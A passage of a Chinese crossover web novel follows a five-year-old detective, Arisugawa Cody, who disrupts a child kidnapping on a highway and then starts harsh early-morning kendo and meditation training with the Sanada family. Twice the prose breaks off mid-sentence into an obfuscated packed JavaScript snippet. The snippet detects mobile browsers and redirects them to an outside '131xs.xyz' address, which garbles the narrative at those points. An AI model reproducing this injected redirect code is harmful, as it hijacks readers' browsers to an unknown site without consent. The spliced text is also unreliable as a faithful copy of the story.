玻璃折射加上森本贵行为了开在黑车前方,刻意地压线别车,激光的光线方向很不稳,光点一直在乱晃。不过有栖川蔻蒂本来也没有打算用激光给驾驶座的人弄瞎了,到时候车速过快肯定翻车,只是想稍微骚扰一下,逼迫对方晃下车子减减速,将小卷毛从女人的手里弄出来,别让他给憋死了。 扒在窗户上费了好一会功夫,鼻涕都被冻了下来,蔻蒂成功让激光笔在男人的脸上扫了几下。男人烦躁地用一只手挡住,森本贵行及时打配合轻撞了一下,吓得一只手握方向盘的中年男人立刻踩刹几次,车速立刻降下。后排的女人一个没坐稳,脑袋杵在了驾驶座上。 他们的“骚扰”只能到这个程度了,接下来只能靠警察到来用破胎的地刺彻底将车拦下。 可意外突生,隔壁车的小孩做了一个和蔻蒂一样的动作,他灵巧极了,踩着女人的背爬到副驾驶,用一口刚长好的两年的乳牙狠狠地咬住了中年男人的脸,小手也没闲着,一手一个用力敲打着车内另外两个人的头。 男人求生欲极强,踩着刹车撞上高速中间的隔离带,勉强算是稳稳地停住。男孩没有从挡风玻璃飞出去,他死死扒住男人的头撞上了方向盘,显然撞得不轻。 有栖川蔻蒂和森本贵行赶忙停车帮忙,离得更近些后,蔻蒂惊异地发现,小卷毛的眼白竟然变成了红色,配上嘴角留下的男人鲜血,看上去像是从地狱里爬出来的恶魔。 ……没记错的话,吃人是会得病,但不是他这种病吧?!!! 25.风平浪静的妖怪时间 卷毛恶魔名字叫切原赤也,放学路上捡起一个滚落到脚边的苹果,环视一周后没有找到失主,乐于助人切原赤也当即询问了站在路边的人贩子夫妇。在得知对方可以联系到圣诞老人,让圣诞老人帮他寻找到苹果的失主时,切原赤也欣然答应,主动爬上了车。 结果就是现在看到的这样,切原赤也连人带苹果一起被掳走了。 “真的有人来救我,老师说做好事一定会得到回报是真的诶!” 卷毛恶……呃,有栖川蔻蒂都不好意思叫他恶魔了,这家伙除了一双红眼睛跟恶魔没有半毛钱关系。再说了,谁规定只有恶魔是红眼睛,这是偏见!是歧视! 叫他卷毛妖怪吧,妖怪有好有坏,而且看他这副单纯天真,容易轻信陌生人的性格,不就和平时隐藏在深山老林里,难得下一趟山不知人间险恶的小妖怪一模一样嘛。 “不是我救的你,是你自己救自己。”蔻蒂盯着他的红眼睛解释道。 她绝对不是做好事不留名的人,但不属于她的功劳也不会沾。卷毛妖怪很厉害,刚才那个时机换做是她也做不到扒住驾驶员狠咬一口,造成流血伤害。 切原赤也不懂,但不妨碍他仍旧觉得蔻蒂是一个大好人。她给的纸巾是香香的,给的矿泉水是甜甜的,嘴巴里的怪味道一下子就没有啦! 然而有栖川蔻蒂只是在森本贵行给她的一把水果糖里挑挑拣拣,留下不喜欢椰子味扔进不喝水瓶里晃着玩,然后拿给切原赤也漱口而已。一堆不要的东西却让他感激涕零,更加加深了蔻蒂觉得切原是没见识的小妖怪的印象。 在森本贵行拆下黑车撞下来的保险杠,当作竹剑和绑匪周旋时,单纯的切原赤也和早慧的有栖川蔻蒂正蹲在一边嘀嘀咕咕说得很开心。 蔻蒂虽然是一个注重逻辑,热爱推理的小女孩,但她对超乎逻辑和自然的东西格外有兴趣。切原赤也因为崇拜,有栖川蔻蒂因为好奇,两个人也算是一个愿打一个愿挨地聊了起来。 “你的毛一直是这样的吗?”蔻蒂好奇地凑过去,她这是第一次看到这么卷的头发。 她的头发是直直的,研磨的头发也是直直的,小黑的头发是炸炸的,没有一个是像他这样的,难道这是妖怪特有的形态? “你也不喜欢我的头发吗?姐姐老是嘲笑我,她可讨厌了!”小切原平时没少因为头发被嘲笑,说到这个他难过极了。 哦,原来妖怪的毛发变成人时就是头发,和人类构想中的情况差不多。 “如果你让我摸一下的话,那就喜欢。” 切原赤也不懂什么叫道德绑架,乖乖地把脑袋凑过来,像一只卷毛狗。 蔻蒂一点没有骗傻子的负罪感,用手拉了拉卷毛,又放到头顶揉了几下。看起来像泰迪,摸起来也像太低,软软滑滑的,所以卷毛妖怪是狗妖吗?鸦天狗? “你的族人来了。”警车呜呜地开过来,从警车上下来的不光有神奈川县警,还有一个卷毛阿姨,和一个顺毛绿眼的叔叔。跟假夫妇不同,他俩一看就和切原赤也有血缘关系。 “爸爸!妈妈!” 卷毛妖怪高兴地站起来准备扑过去,突然想起什么回过头来拉了拉蔻蒂的手:“恩人!你还没告诉我你叫什么?” “你就叫我世界第一侦探就行了。” 哈!她才不会把名字告诉卷毛妖怪,当她对妖怪世界一点都不了解吗?说出真名的话会被妖怪带走神隐的! “可是……可是我想知道恩人的名字,你好厉害,比假面超人还要厉害!”切原赤也眼巴巴地看着蔻蒂。 ……啊,被小狗扒住裤腿的感觉。这时候不从口袋里拿出一根肠,裤腿会被抓破的。 有栖川蔻蒂眼珠子一转:“水无月弥生,随你怎么叫。” 谎言需要建立在一部分的真实之上,这个是一个真名,但不是她的真名。水无月是六月的别称,弥生则代表了三月,用英文写出来的话就是,Jane和Mar,也就是简·马普尔(Jane Marple)的缩写,她喜欢的侦探小作家阿加莎手下的一个侦探角色。 “弥生!你的名字好好听,我记住啦!”得到答案的切原赤也满足地向父母奔去,活奔乱跳地好像一点也没有被这场意外吓到。 这时终于将那对人贩子移交给警察的森本贵行走过来:“啧啧啧,这样欺负小朋友好吗?人家对你可是一片真心。” 有栖川蔻蒂瞥了他一眼直接从他脚上才过去,身体力行告诉他一件事:“我也是小朋友。” 森本贵行:……差点忘了,都怪这孩子太早熟。 “小朋友就更不应该骗人。”他报复地拉住蔻蒂衣服上的兜帽,让她走也走不了。 “可是他是妖怪,告诉他我的名字被神隐了你去救我吗?” 森本贵行挑眉嘲讽道:“没想到你这种聪明小孩还相信世界上有妖怪,果然还是小孩啊。” 蔻蒂怎么可能让他小人得志,立马质问:“你没有见过妖怪吧,没有见过的东西不代表不存在。在同一辆车里,男的肋骨插肺,女的双手手腕骨折,而我看到他的时候除了眼白变红,其余一点事都没还咬了男的一脸血,他不是妖怪谁是?” 森本贵行思索,森本贵行震惊,森本贵行害怕,他二十几年的唯物主义思想受到了重创,这个世界上真有妖怪啊!!! 直到坐上警车他都在恍惚,负责案件的横沟重悟喊了他两声都没听见,紧张地找人给他看了看脑子,回头就看见还没自己大腿高的小孩直勾勾地盯着他。 善良正直且贴心的横沟警官蹲下来,将他那张严肃的脸尽力咧起一个温和的笑容:“小朋友不用害怕,坏人已经被我们抓住了,警察叔叔等会就送你回家。” “是我发现的绑架案,也是我想办法用激光进行干扰的。我叫有栖川蔻蒂,是一个侦探,新一哥哥说你不太喜欢侦探,那你讨厌我吗?” 被贴脸开大,横沟重悟眉头直跳,本来没觉得,要是这么问的话,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15115744|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有点讨厌了。 撇去那些没什么名气的侦探不谈,媒体常客中横沟重悟最讨厌毛利小五郎,第二讨厌工藤新一,哦对,服部平次和工藤并列第二。前者是因为总是倚老卖老,明明都醉醺醺的了,还要“指点江山”。后者是因为面上答应得好好的,不掺和案件,背地里总是能从各种莫名其妙的地方窜出来,拿着不知道怎么得来的证据甩给他,真就很气人啊! 虽然最后他也欣然接受,不会拒绝真相就是了。 迁怒到小孩子身上什么的也太不成熟了,横沟重悟自诩是严肃稳重的大人当然不会做出那种事。 他正色道:“没有警察会喜欢干扰案件办理的非相关人员,这有可能会造成证据污染,致使凶手警觉等等掩盖真相的后果,那是对受害人的不负责,极有可能造成严重的后果。而且有不少侦探在工作途中都采取了违法违规的行动,无论他们是什么身份,初衷是什么,这都是不好的。” 果然被讨厌了啊,虽然一个字都没有提新一哥哥的名字,但是每句话都在点他呢。 成为被讨厌的大人好倒霉,有栖川蔻蒂心有余悸地点点头向横沟重悟保证:“我会乖乖的,那你能不要把今天的事告诉我妈妈吗?” 她觉得妈妈最近总是生气,每次又有新的生气原因。蔻蒂搞不清楚,想着索性就不要让妈妈知道。 “你妈妈是?” “我妈妈就是我妈妈。” “我可以查到的。” “……啧,警视厅搜查一课搜查三系警部补真田珠英。” “知道了,我会通知你父母的。” 坏人!有栖川蔻蒂生气地撇过头去,用后脑勺表达自己的愤怒。 森本贵行幸灾乐祸地笑笑,车子撞坏了,只能坐警车回家,他肯定得挨真田老师一顿揍,现在有人陪着自己也挺好。 做完笔录,被警车送回真田宅已经到了晚上十点,有栖川蔻蒂早就撑不住了,趴在森本贵行的怀里被抱着进入梦乡, 然而她好像还没有睡上多久,就被一个长相凶猛严肃的光头白胡子老头给叫了起来。 “我是真田弦右卫门,你的祖父,珠英都跟你说了吧,从今天开始由我来传授你剑道。现在起床洗漱到餐厅吃饭,你只有四十分钟的时间。” 说完老头就转身离开,留下一个黑色碎发的小男孩留在原地。 “你,你好,我叫真田弦一郎。祖父让我给你带路,蔻蒂,妹,妹。”说着说着,真田弦一郎就红了脸,声音也是越来越小。 这可是妹妹呀,就算幸村长得再漂亮那也是男孩子,面前这个可是货真价实的妹妹呀!学校的同桌老是炫耀自己妹妹有多可爱,现在他也有妹妹了! 被喜爱着的妹妹有栖川蔻蒂因为没有感受到光亮,发出了一句灵魂质问:“现在几点?” 真田弦一郎沉浸在妹妹第一次跟自己说话的兴奋中,激动地说:“已经四点半了哦,祖父今天多让我睡了半个小时呢!” 26.风平浪静的坐禅时间 四点,冬季,神奈川。 这几个简单的词组合起来陡然生出一种恐怖感,这个点,狗才睡,鸡没起,她一个五岁的小孩就要收拾收拾准备上剑道课了??? “蔻蒂妹妹?要快一点了,否则等会吃饭会来不及的,吃得少就没力气拿剑了。” “要么叫蔻蒂要么叫妹妹,太长了好麻烦。”有栖川蔻蒂语速极快,“假如说,我是说假如,我要是没去或者迟到会怎么样?” 她一直觉得自己是个努力的人,就像先前和手冢国光一起玩的时候说的话,她又天才又努力。现在到了这里蔻蒂才震惊地发现,在努力方面,她就是个弟弟,不对,妹妹! 真田弦一郎害羞地选择了妹妹这个称呼,家里其他人都可以叫妹妹的名字,但只有他可以叫妹妹! 选择完,真田苦恼地思考妹妹的问题,上一次他或者其他师兄们迟到已经是很久很久以前的事了,在真田道场,这种事可不常见。 “祖父应该会大喊一声‘太松懈了!’然后把训练翻倍让你今天完成吧。”真田弦一郎绘声绘色地模仿了一段。 “那有什么不去的办法吗?” “没有。”男孩的声音斩钉截铁,显然是经验所谈。 有栖川蔻蒂痛苦地在地上蛄蛹,从被子里挤出来,一点点把自己挪到门口,可怜兮兮地朝真田弦一郎伸出一只手:“哥哥,拉我。” “嗯!”小真田眼睛发亮,激动地拉起蔻蒂。 她叫我哥哥诶!命给她! 有栖川蔻蒂像一只幽魂,恍惚地飘在精神奕奕的真田弦一郎后面,从洗漱间飘到餐厅,又从餐厅飘到了真田宅道场的更衣室,换上了一身崭新的小号剑道服坐在道场外的缘侧上坐禅。 旁边的大真田和小真田都腰板挺直地盘腿坐着,眼睛闭上一身不吭,跟神社外面的石像没什么两样。 稍微还是遵守了一点基本科学的啊,如果刚吃完早饭就要开始跑跑跳跳,她真的要闹了。 有栖川蔻蒂安然地往柱子边挪了挪,学着他们跪坐着,然后靠上柱子闭上眼睛随着进入了梦乡。饱食过后最好睡了,就是缘侧稍微有点冷,即便因为冬日关上了挡雨的木门,也能感受到从缝隙中渗入的寒意。 “哗——”木门被猛地拉开,热气与冷气交换,转瞬周身的温度变得和外面一样。 蔻蒂只觉得自己做了一个噩梦,她突然变成了一条冻鱼,鱼头被年糕叼走拖进通风管道里,鱼身被咪咪吃掉把骨头放到奶奶的脚边炫耀,鱼尾没有猫喜欢,卷毛妖怪踹走带回了妖怪世界里。虽然身体被分成了三部分但能同时感到每部分是被怎样对待的,好冷啊,不知道是做冻鱼的时候冷一点,还是死掉以后被吃进肚子里冷一点,不对,变成冻鱼的时候不将已经死掉了吗?蔻蒂恍然大悟。 人意识到所经历的玄幻画面都是梦境的时候,就到了梦醒时分,她迷迷糊糊地睁开眼睛后就直视到了青白色的天空。 啊,天亮了。 “太松懈了!” 浑重的咆哮像是从远古发出的,真田祖父光溜溜的脑袋代替了黎明初升的太阳,给正从山洞里走出打猎的原始人们拉开了充满危险与机遇的一天…… 这可真是,提神醒脑。蔻蒂默默捂上耳朵,张大嘴巴打了一个哈欠。 太松懈了!小真田紧张地在心底念叨了一句,妹妹在坐禅的时候睡着还对着祖父打哈欠,肯定会惹祖父生气的。 真田弦右卫门没有做出弦一郎预想之中的事,十年前他可能还会愤怒地把小孩拎起来扔到外面去,现在他都六十了,怎么可能还做那种毛头小子做的事。而且,他这个孙女可不是一些严厉的手段就能让她屈服的,施加纯粹的惩罚说不准还要被这小孩嘲笑上一句莽夫。 “坐禅意在放空思绪净化头脑,将自己融入天地之间感悟自然,获得成为纯澈敏锐的思维和坚毅的心灵,你不想坐禅。” 蔻蒂诚实地点头,比起花上半个小时坐禅,她更想回去睡觉:“我不需要坐禅就有超人的思维和心灵。” “你从来没尝试过,怎么会知道其中的不同。” “因为我做不到啊。”有栖川蔻蒂伸出拳头敲了敲自己的脑袋,“思考推理对于我来就像是呼吸一样,现在我说话的同时,每一秒都在进行高强度的思考记忆了。所以除了睡觉,我不可能放空。” 这就是高智商人群与普通人的壁垒,有些他们做起来很简单的事情,对蔻蒂来说却很难。 “听上去的确是你做不到的难事。” 有栖川蔻蒂哽住,激将法对她来说的确好用,有栖川侦探怎么会有做不到的事,她不开心地瞪着光头祖父。 真田弦右卫门:“那你有没有想过,人脑的记忆都有极限,即使你的头脑比一般人更强大也是如此。现在你才五岁,没有什么症状,十年以后,二十年以后,你还能过目不忘,迅速地调取推理信息吗?” 一阵见血,直戳痛点。 有栖川蔻蒂不知道其他成年的高智商人群会不会被自己思维中的海量信息给弄崩溃,但她的确有时在过度推理运算时感到太阳穴胀痛。 “……要怎么做。”聪明人一向善于权衡利弊,丢面子是一会的事,影响她以后的推理才是更糟糕的选择。 第一局,真田弦右卫门对有栖川蔻蒂,真田弦右卫门胜。 第一天的坐禅蔻蒂半点体会都没有,满满都是挫败感,脑袋根本静不下来。柱子上的横线是真田弦一郎量身高时留下的痕迹,左边那根柱子上更高一些的印记是妈妈小时候住在这里留下的。庭院里的石板少了一块没有补上,是最近有人经过搬东西时重物落下杂碎的结果…… 根本不用盯着看,只需一眼就全部记在了脑子里,闭上眼所有画面,一颗石子,一株草都能回忆出来,睁眼闭眼对她没有区别。 烦躁的有栖川蔻蒂在推理了一对乱七八糟的东西后肚子饿得咕咕响,光头祖父一点都没有让她去吃东西的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15122043|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,直接把她和真田弦一郎带去了道场,跑了十圈,教导一番后,让他们开始重复的挥剑训练。 挥了五百下,蔻蒂嘴唇微微翕动,想说什么,但忍了下去没吱声。 又挥了五百下,蔻蒂忍不住了,她痛苦地质问极其认真,每一下都灌注了所有注意力的真田弦一郎:“哥哥,我们还要挥多久?什么时候能进行下一项训练。” 小真田认真地挥完了这一下后才跟蔻蒂说话:“下一项?没有哦,我们年纪还不够,只要素振就行了。” “冒昧问一句,哥哥你什么时候开始学剑道的?” “四岁。”真田弦一郎自豪地伸出几根手指。 “那你这一年都一直在素振?” “嗯!正面素振和左右素振各三千次,每天都要完成。” 有栖川蔻蒂:…… 基础是一切高端技术的砖石,她完全能理解这一点。但是,她的目标又不是成为一代剑道大师,甚至都不准备去参加任何比赛,难道要她和弦一郎哥哥一样,整个假期就在这挥剑? 不行,得想个办法让祖父教她点别的。蔻蒂皱着小脸继续素振练习,时间大概快到六点,道场内逐渐热闹起来。真田道场的学员不多,能进入这里多半是熟人担保一个介绍一个进来的。有人是因为喜爱,有人想走职业路线,有人是警察预备役,有人甚至把这当作社交的名利场,总之只要不闹出太大动静,干扰其他学员,真田弦右卫门基本都睁一只眼闭一只眼。 除非有教学新生的行程,否则真田弦右卫门不会一直待在道场,只会最后出现一段时间,让学员提问指导。 所以这些陆续进来的学员自觉地跑步热身,素振练习以后纷纷约上了熟悉的人进行对战。道场旁边分出了两个对战场,没有抢到位置的学员要么继续练习要么就去围观对战。 有栖川蔻蒂自觉地把自己转了个方向,一边挥剑,一边同时观看着两个场地的战况。五分钟一场比赛,结束就换下一组,也有人撺掇着玩擂台赛,胜者留,败者走。蔻蒂大概看了二十几场,耳边突然响起一个熟悉的声音。 “动作还不错嘛,怎么样,看出什么了?”森本贵行不知道什么时候站在了蔻蒂的身后,虽然表情看不出多少疲惫,但是眼下的两个黑眼圈非常显眼,显然昨晚也是晚睡早起的结果。 “贵行哥哥,那个人,我可以打赢他。” 森本贵行瞪大眼睛,五岁的小孩还没有成年男性比赛用的竹刀长,脸上的婴儿肥像是乳猪屁股一样肥嫩有弹性,偏偏她用小细胳膊举着自己的小竹刀一挥,那份眼神中流露出的如闪电般坚定的气势,完完全全将他这个学剑多年的大人震慑住了。 “要我帮你去拿护具吗?” “当然。” 两人一个眼神就心有灵犀完成了交流,全然没有注意到旁边的真田弦一郎道心崩塌。 “贵行哥哥,贵行哥哥,贵行哥哥。呜呜呜,妹妹怎么还有其他哥哥啊——”